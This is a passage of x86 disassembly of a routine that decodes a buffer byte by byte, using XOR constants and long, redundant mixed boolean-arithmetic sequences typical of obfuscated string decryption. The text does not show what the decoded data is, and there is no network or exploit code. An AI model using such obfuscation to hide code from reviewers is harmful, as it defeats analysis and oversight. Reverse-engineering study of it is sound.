mov byte [str._7K__v], dl
mov al, byte [0x47519f]
xor al, 0xbe
mov byte [0x47539f], al
mov al, byte [0x4751a0]
xor al, 0x75
mov byte [0x4753a0], al
mov al, byte [0x4751a1]
xor al, 0x4a
mov byte [0x4753a1], al
mov al, byte [0x4751a2]
xor al, 0x73
mov byte [0x4753a2], al
mov al, byte [0x4751a3]
xor al, 7
mov byte [0x4753a3], al
mov al, byte [0x4751a4]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and cl, 0xff
xor cl, 0xff
xor cl, 0xff
or cl, 0
mov byte [0x4753a4], cl
mov al, byte [0x4751a5]
mov cl, al
xor cl, 0xff
and cl, 0xd9
and al, 0x26
or cl, al
xor cl, 0x6c
mov byte [0x4753a5], cl
mov al, byte [0x4751a6]
xor al, 0x25
mov byte [0x4753a6], al
mov al, byte [0x4751a7]
mov cl, al
xor cl, 0xff
and cl, 0xbe
and al, 0x41
or cl, al
xor cl, 0xf4
mov byte [0x4753a7], cl
mov al, byte [0x4751a8]
mov cl, al
or cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x52
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0xad
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4753a8], dl
mov al, byte [0x4751a9]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xea
xor cl, 0xff
or al, 0x15
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x4753a9], cl
mov al, byte [0x4751aa]
xor al, 0x4e
mov byte [0x4753aa], al
mov al, byte [0x4751ab]
xor al, 0x5e
mov byte [0x4753ab], al
mov al, byte [0x4751ac]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x23
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, 0x23
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
mov byte [0x4753ac], dl
mov al, byte [0x4751ad]
xor al, 0x85
mov byte [0x4753ad], al
mov al, byte [0x4751ae]
mov cl, al
xor cl, 0xb1
xor cl, 0xff
and cl, 0xb1
shl cl, 1
sub cl, 0xb1
sub al, cl
mov byte [0x4753ae], al
mov cl, byte [0x4751af]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x91
xor cl, 0xff
or cl, 0x6e
and al, cl
xor al, 0xff
mov byte [0x4753af], al
mov al, byte [0x4751b0]
mov cl, al
and cl, 0x77
shl cl, 1
sub al, 0x71
add al, 0x77
add al, 0x71
sub al, 0xc5
sub al, cl
add al, 0xc5
mov byte [0x4753b0], al
mov al, byte [0x4751b1]
mov cl, al
xor cl, 0xff
and cl, 0x6a
and al, 0x95
or cl, al
xor cl, 0x63
mov byte [0x4753b1], cl
mov bl, byte [0x4751b2]
mov dl, bl
and dl, 0xf1
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xf1
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x4753b2], bl
mov al, byte [0x4751b3]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
or dl, 0xf6
add dl, 0xa
and al, 0xf6
or dl, al
mov byte [0x4753b3], dl
mov al, byte [str._7gU_ID]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov dl, ah
and dl, 4
xor dl, 0xff
xor ah, 0xff
or ah, 0xfb
and dl, ah
xor dl, 0xff
and al, 0xfb
or dl, al
xor dl, 0x4b
mov byte [0x4753b4], dl
mov al, byte [0x4751b5]
mov cl, al
xor cl, 0x27
xor cl, 0xff
and cl, 0x27
shl cl, 1
sub cl, 0x27
sub al, cl
mov byte [0x4753b5], al
mov al, byte [0x4751b6]
mov bl, al
xor bl, 0xff
mov dh, al
xor dh, 0xff
mov ah, bl
xor ah, 0xff
mov bh, dh
xor bh, 0xff
mov dl, ah
and dl, 0x42
and bl, 0xbd
mov cl, bh
and cl, 0x42
and dh, 0xbd
or dl, bl
or cl, dh
xor dl, cl
or ah, bh
xor ah, 0xff
and ah, 0xff
or dl, ah
and dl, 0x77
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, 0x88
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
and dl, al
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
mov byte [0x4753b6], ah
mov al, byte [0x4751b7]
mov cl, al
xor cl, 0xff
and cl, 0xc
and al, 0xf3
or cl, al
xor cl, 0x49
mov byte [0x4753b7], cl
mov al, byte [0x4751b8]
xor al, 0x50
mov byte [0x4753b8], al
mov al, byte [0x4751b9]
xor al, 0x59
mov byte [0x4753b9], al
mov al, byte [0x4751ba]
mov cl, al
and cl, 0x54
shl cl, 1
add al, 0x54
sub al, cl
mov byte [0x4753ba], al
mov al, byte [0x4751bb]
xor al, 0xa7
mov byte [0x4753bb], al
mov dl, byte [0x4751bc]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
xor al, 0xff
or al, 0x81
xor al, 0xff
and al, 0xff
mov cl, dl
and cl, 0x7e
xor cl, 0xff
add dl, 0x7e
add dl, 1
add dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [str.hj5ze], al
mov al, byte [0x4751bd]
xor al, 0x47
mov byte [0x4753bd], al
mov dl, byte [0x4751be]
mov ah, dl
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov al, ah
and al, 0x85
mov cl, dl
and cl, 0x7a
mov ch, dh
and ch, 0x85
mov bl, dl
and bl, 0x7a
or al, cl
or ch, bl
xor al, ch
or ah, dh
xor ah, 0xff
and ah, 0xff
or al, ah
xor al, 0xff
xor al, 0xff
mov cl, al
xor cl, 0xcc
xor cl, 0xff
or al, 0xcc
and al, cl
mov cl, dl
and cl, 0xcc
xor dl, 0xcc
or cl, dl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
mov byte [0x4753be], al
mov al, byte [0x4751bf]
mov cl, al
and cl, 0xbd
shl cl, 1
add al, 0xbd
sub al, cl
mov byte [0x4753bf], al
mov al, byte [0x4751c0]
mov dl, al
xor dl, 0xe2
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xe2
shl dl, 1
sub dl, 0xe2
add al, 0xb4
sub al, dl
sub al, 0xb4
mov byte [0x4753c0], al
mov al, byte [0x4751c1]
xor al, 0xb0
mov byte [0x4753c1], al
mov al, byte [0x4751c2]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0x2c
xor dl, 0xff
or cl, 0x2c
and cl, dl
and al, 0xd3
or cl, al
mov byte [0x4753c2], cl
mov ah, byte [0x4751c3]
mov al, ah
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, ah
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0xb4
xor cl, 0xff
or al, 0xb4
and al, cl
xor al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xb4
xor cl, 0xff
add dl, 0xb4
add dl, 1
add dl, cl
xor al, 0xff
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov dh, ah
and dh, 0xe2
and al, 0x1d
mov cl, bl
and cl, 0xe2
and dl, 0x1d
or dh, al
or cl, dl
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x4753c3], dh
mov al, byte [0x4751c4]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
mov dl, ah
or dl, 0x9f
xor dl, 0xff
xor ah, 0xff
and ah, 0x60
or dl, ah
xor dl, 0xff
xor al, 0xff
mov cl, al
and cl, 0x60
xor cl, 0xff
add al, 0x60
add al, 1
add al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or dl, al
mov byte [0x4753c4], dl
mov al, byte [0x4751c5]
mov cl, al
xor cl, 0xff
and cl, 0x7e
and al, 0x81
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x4753c5], dl
mov bl, byte [0x4751c6]
mov dl, bl
xor dl, 0xff
or dl, 0xac
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x4c
add bl, 0x53
sub bl, 0x4c
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x4753c6], bl
mov al, byte [0x4751c7]
mov cl, al
xor cl, 0xee
xor cl, 0xff
and cl, 0xee
shl cl, 1
sub cl, 0xee
sub al, cl
mov byte [0x4753c7], al
mov al, byte [0x4751c8]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x9f
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x60
add al, cl
or dl, al
mov byte [0x4753c8], dl
mov al, byte [0x4751c9]
mov dl, al
xor dl, 0xff
and dl, 0xad
mov cl, al
and cl, 0x52
or dl, cl
xor dl, 0x3c
xor dl, 0xff
mov cl, dl
xor cl, 0x91
xor cl, 0xff
or dl, 0x91
and dl, cl
shl dl, 1
sub dl, 0x91
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x4753c9], al
mov al, byte [0x4751ca]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 4
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xfb
add al, cl
or dl, al
mov byte [0x4753ca], dl
mov al, byte [0x4751cb]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov ah, dl
xor ah, 0xa5
and ah, dl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0x5a
xor al, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x74
and ah, 0x8b
or dl, ah
xor dl, 0x8b
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
and dl, al
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x4753cb], cl
mov dl, byte [0x4751cc]
mov al, dl
and al, al
xor al, 0xff
and al, 0x8a
xor al, 0xff
xor dl, 0xff
or dl, 0x8a
mov ah, al
and ah, dl
xor ah, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor ah, 0xff
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x4753cc], ah
mov al, byte [0x4751cd]
mov cl, al
xor cl, 0xa3
xor cl, 0xff
and cl, 0xa3
shl cl, 1
sub cl, 0xa3
sub al, cl
mov byte [0x4753cd], al
mov cl, byte [0x4751ce]
mov al, cl
xor al, 0xff
and al, 0xf9
xor cl, 0xff
or cl, 0xf9
xor cl, 0xff
and cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x4753ce], dl
mov al, byte [0x4751cf]
mov cl, al
and cl, 0x2f
shl cl, 1
add al, 0x2f
sub al, cl
mov byte [0x4753cf], al
mov al, byte [0x4751d0]
mov cl, al
and cl, 0x5a
shl cl, 1
add al, 0x5a
sub al, cl
mov byte [0x4753d0], al
mov al, byte [0x4751d1]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 9
xor dl, 0xff
or al, 0xf6
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4753d1], dl
mov al, byte [0x4751d2]
mov cl, al
xor cl, 0xff
and cl, 0x54
and al, 0xab
or cl, al
xor cl, 5
mov byte [0x4753d2], cl
mov al, byte [0x4751d3]
xor al, 0xf2
mov byte [0x4753d3], al
mov al, byte [0x4751d4]
xor al, 0xcf
mov byte [0x4753d4], al
mov al, byte [0x4751d5]
xor al, 0xf3
mov byte [0x4753d5], al
mov cl, byte [0x4751d6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xa4
xor al, 0xff
xor cl, 0xff
and cl, 0xa4
or al, cl
xor al, 0xff
mov byte [0x4753d6], al
mov al, byte [0x4751d7]
xor al, 0xa8
mov byte [0x4753d7], al
mov al, byte [0x4751d8]
xor al, 4
mov byte [0x4753d8], al
mov dl, byte [0x4751d9]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0xf7
and al, 0xf7
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 8
add dl, cl
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov byte [0x4753d9], al
mov al, byte [0x4751da]
xor al, 0x92
mov byte [0x4753da], al
mov al, byte [0x4751db]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x98
xor dl, 0xff
mov cl, al
and cl, 0x67
xor cl, 0xff
and dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0x98
shl dl, 1
sub dl, 0x6b
sub dl, 0x98
add dl, 0x6b
sub al, dl
mov byte [0x4753db], al
mov al, byte [0x4751dc]
xor al, 0x3e
mov byte [0x4753dc], al
mov al, byte [0x4751dd]
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
and cl, 0xd9
xor cl, 0xff
add dl, 0xd9
add dl, 1
add dl, cl
mov cl, al
xor cl, 0xff
and cl, 0x43
and al, 0xbc
or cl, al
xor cl, 0xbc
or cl, 0x26
and dl, cl
xor dl, 0xff
mov byte [0x4753dd], dl
mov dl, byte [0x4751de]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 0xc
and dl, 0xc
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4753de], al
mov al, byte [0x4751df]
mov cl, al
xor cl, 0xa1
xor cl, 0xff
and cl, 0xa1
shl cl, 1
sub cl, 0xa1
sub al, cl
mov byte [0x4753df], al
mov al, byte [0x4751e0]
xor al, 0x6b
mov byte [0x4753e0], al
mov al, byte [0x4751e1]
xor al, 0x95
mov byte [0x4753e1], al
mov al, byte [0x4751e2]
xor al, 0xa2
mov byte [0x4753e2], al
mov al, byte [0x4751e3]
mov cl, al
and cl, 0xb8
shl cl, 1
add al, 0x6f
add al, 0xb8
sub al, 0x6f
add al, 0x9e
sub al, cl
sub al, 0x9e
mov byte [0x4753e3], al
mov cl, byte [0x4751e4]
mov al, cl
xor al, 0xff
and al, 0xcf
mov dl, cl
xor dl, 0xcf
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x4753e4], al
mov al, byte [0x4751e5]
xor al, 0xa0
mov byte [0x4753e5], al
mov al, byte [0x4751e6]
xor al, 0xe5
mov byte [0x4753e6], al
mov al, byte [0x4751e7]
xor al, 0xd
mov byte [0x4753e7], al
mov al, byte [0x4751e8]
mov cl, al
xor cl, 0xff
and cl, 0x7c
and al, 0x83
or cl, al
xor cl, 0x25
mov byte [0x4753e8], cl
mov al, byte [0x4751e9]
xor al, 0x79
mov byte [0x4753e9], al
mov dl, byte [0x4751ea]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
or cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 0x12
and dl, 0x12
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4753ea], al
mov al, byte [0x4751eb]
mov cl, al
xor cl, 0xff
and cl, 0x70
mov dl, al
xor dl, 0x70
and dl, al
or cl, dl
mov byte [0x4753eb], cl
mov al, byte [0x4751ec]
xor al, 0xfc
mov byte [0x4753ec], al
mov al, byte [0x4751ed]
xor al, 0x93
mov byte [0x4753ed], al
mov al, byte [0x4751ee]
xor al, 0x92
mov byte [0x4753ee], al
mov ah, byte [0x4751ef]
mov cl, ah
xor cl, 0xff
mov al, ah
xor al, 0xff
or cl, al
and cl, 0xc0
mov al, cl
xor al, 0xff
and al, 0x25
and cl, 0xda
or al, cl
xor al, 0xda
mov dl, ah
and dl, 0x3f
xor dl, 0xff
xor ah, 0xff
or ah, 0xc0
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov ah, al
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov dh, ah
and dh, 0x7f
and al, 0x80
mov cl, bl
and cl, 0x7f
and dl, 0x80
or dh, al
or cl, dl
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x4753ef], dh
mov al, byte [0x4751f0]
mov cl, al
xor cl, 0xff
and cl, 0x4c
and al, 0xb3
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0x26
mov byte [0x4753f0], dl
mov al, byte [0x4751f1]
mov cl, al
xor cl, 0xff
and cl, 0xd9
and al, 0x26
or cl, al
xor cl, 0x16
mov byte [0x4753f1], cl
mov al, byte [0x4751f2]
xor al, 0x91
mov byte [0x4753f2], al
mov al, byte [0x4751f3]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
or dl, 3
xor dl, 0xff
and dl, 0xff
and al, 3
or dl, al
mov byte [0x4753f3], dl
mov al, byte [0x4751f4]
mov cl, al
xor cl, 0xff
and cl, 0xb9
and al, 0x46
or cl, al
xor cl, 0xf9
mov byte [0x4753f4], cl
mov al, byte [0x4751f5]
xor al, 0x16
mov byte [0x4753f5], al
mov cl, byte [0x4751f6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x22
xor cl, 0xff
and cl, 0xdd
or al, cl
xor al, 0xff
mov byte [0x4753f6], al
mov al, byte [0x4751f7]
mov cl, al
xor cl, 0xff
and cl, 0xa0
and al, 0x5f
or cl, al
xor cl, 0xbc
mov byte [0x4753f7], cl
mov dl, byte [0x4751f8]
mov al, dl
and al, al
xor al, 0xff
mov cl, dl
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
xor al, 0xff
mov cl, al
and cl, 0x50
mov ah, al
xor ah, 0xaf
add al, ah
sub al, cl
and dl, 0xaf
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4753f8], al
mov dl, byte [0x4751f9]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x4e
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, 0x4e
xor dl, 0xff
and al, dl
xor al, 0xff
mov byte [0x4753f9], al
mov al, byte [0x4751fa]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xea
xor dl, 0xff
xor al, 0xff
or al, 0xea
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4753fa], dl
mov cl, byte [0x4751fb]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xf8
xor cl, 0xff
or cl, 7
and al, cl
xor al, 0xff
mov byte [0x4753fb], al
mov al, byte [0x4751fc]
mov cl, al
xor cl, 0xff
and cl, 0x6f
and al, 0x90
or cl, al
mov byte [0x4753fc], cl
mov al, byte [0x4751fd]
xor al, 4
mov byte [0x4753fd], al
mov al, byte [0x4751fe]
xor al, 0x80
mov byte [0x4753fe], al
mov dl, byte [0x4751ff]
mov al, dl
xor al, 0xff
and al, 0x5a
mov cl, dl
xor cl, 0xa5
xor cl, 0xff
or dl, 0xa5
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x4753ff], al
mov al, byte [0x475200]
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
mov byte [0x475400], cl
mov al, byte [0x475201]
xor al, 0x5e
mov byte [0x475401], al
mov al, byte [0x475202]
xor al, 0xa1
mov byte [0x475402], al
mov al, byte [0x475203]
xor al, 0xb5
mov byte [0x475403], al
mov al, byte [0x475204]
mov cl, al
and cl, 0xda
shl cl, 1
add al, 0xda
sub al, cl
mov byte [0x475404], al
mov al, byte [0x475205]
mov cl, al
xor cl, 0xff
and cl, 0xee
and al, 0x11
or cl, al
xor cl, 0x41
mov byte [0x475405], cl
mov al, byte [0x475206]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x25
mov ah, al
and ah, 0xda
or cl, ah
xor cl, 0xda
or dl, cl
or dl, dl
xor dl, 0xff
or dl, 0x86
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
or al, 0x79
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
or dl, al
mov byte [0x475406], dl
mov dl, byte [0x475207]
mov cl, dl
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
xor al, 0xff
and al, 0x40
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
and cl, 0xbf
mov ah, dl
xor ah, 0x40
add dl, ah
sub dl, cl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x475407], al
mov al, byte [0x475208]
xor al, 0xb9
mov byte [0x475408], al
mov al, byte [0x475209]
mov cl, al
and cl, 0x37
shl cl, 1
add al, 0x37
sub al, cl
mov byte [0x475409], al
mov al, byte [0x47520a]
xor al, 0x21
mov byte [0x47540a], al
mov al, byte [0x47520b]
xor al, 0x86
mov byte [0x47540b], al
mov cl, byte [0x47520c]
mov al, cl
xor al, 0xff
or al, 0x94
add al, 0x6c
xor cl, 0xff
or cl, 0x6b
xor cl, 0xff
and cl, 0xff
or al, cl
mov cl, al
xor cl, 0xff
and cl, 8
and al, 0xf7
or cl, al
xor cl, 0xd9
mov byte [str.ee9], cl
mov al, byte [0x47520d]
xor al, 0x5d
mov byte [0x47540d], al
mov dl, byte [0x47520e]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x59
mov cl, dl
xor cl, 0xa6
xor cl, 0xff
or dl, 0xa6
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x47540e], al
mov al, byte [0x47520f]
xor al, 0x10
mov byte [0x47540f], al
mov al, byte [0x475210]
mov cl, al
xor cl, 0xff
and cl, 0xaf
xor al, 0xff
or al, 0xaf
xor al, 0xff
and al, 0xff
or cl, al
xor cl, 0x83
mov byte [0x475410], cl
mov dl, byte [0x475211]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 4
and al, 4
and dl, 0xfb
or al, dl
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xad
xor dl, 0xff
and al, 0x52
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475411], dl
mov al, byte [0x475212]
mov cl, al
and cl, 0x84
shl cl, 1
add al, 0x84
sub al, cl
mov byte [str.ejvOs_], al
mov al, byte [0x475213]
xor al, 0xd
mov byte [0x475413], al
mov al, byte [0x475214]
xor al, 0x94
mov byte [0x475414], al
mov bl, byte [0x475215]
mov dl, bl
xor dl, 0xff
and dl, 0xfa
mov al, bl
and al, 5
or dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0xfa
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xff
and cl, 0xfa
and al, 5
sub al, cl
sub bl, al
mov byte [0x475415], bl
mov dl, byte [0x475216]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0x19
xor al, 0xff
and cl, 0x19
xor cl, 0xff
and al, cl
xor al, 0xff
and dl, 0xe6
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov byte [0x475416], al
mov al, byte [0x475217]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x12
xor dl, 0xff
xor al, 0xff
and al, 0x12
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475417], dl
mov dl, byte [0x475218]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
or al, cl
xor al, 0xff
xor al, 0xff
mov cl, al
and cl, 0x38
mov ah, al
xor ah, 0xc7
add al, ah
sub al, cl
xor al, 0xff
or dl, 0x38
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x475418], al
mov al, byte [0x475219]
xor al, 0xe6
mov byte [0x475419], al
mov al, byte [0x47521a]
mov cl, al
xor cl, 0xff
and cl, 0x25
mov dl, al
xor dl, 0x25
and dl, al
or cl, dl
mov byte [0x47541a], cl
mov al, byte [0x47521b]
mov cl, al
xor cl, 0xa1
xor cl, 0xff
and cl, 0xa1
shl cl, 1
sub cl, 0xa1
sub al, cl
mov byte [0x47541b], al
mov bl, byte [0x47521c]
mov dl, bl
and dl, 0xc8
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xc8
sub bl, al
mov byte [0x47541c], bl
mov al, byte [0x47521d]
mov cl, al
xor cl, 0xff
and cl, 0x11
and al, 0xee
or cl, al
xor cl, 9
mov byte [0x47541d], cl
mov al, byte [0x47521e]
xor al, 0x40
mov byte [0x47541e], al
mov al, byte [0x47521f]
mov cl, al
xor cl, 0xff
and cl, 0x86
and al, 0x79
or cl, al
mov byte [0x47541f], cl
mov al, byte [0x475220]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x82
mov cl, al
or cl, 0x82
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x82
shl dl, 1
sub dl, 0x82
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x475420], al
mov al, byte [0x475221]
mov cl, al
xor cl, 0xfe
xor cl, 0xff
and cl, 0xfe
shl cl, 1
sub cl, 0xfe
sub al, cl
mov byte [0x475421], al
mov al, byte [0x475222]
xor al, 0x94
mov byte [0x475422], al
mov al, byte [0x475223]
xor al, 0x6e
mov byte [0x475423], al
mov al, byte [0x475224]
mov cl, al
xor cl, 0xb7
xor cl, 0xff
and cl, 0xb7
shl cl, 1
sub cl, 0xb7
sub al, cl
mov byte [0x475424], al
mov al, byte [0x475225]
xor al, 0x54
mov byte [0x475425], al
mov al, byte [0x475226]
mov cl, al
xor cl, 0xff
and cl, 0x37
and al, 0xc8
or cl, al
xor cl, 0xe3
mov byte [0x475426], cl
mov bl, byte [0x475227]
mov al, bl
xor al, 0x51
mov dl, al
xor dl, 0xff
and dl, 0x69
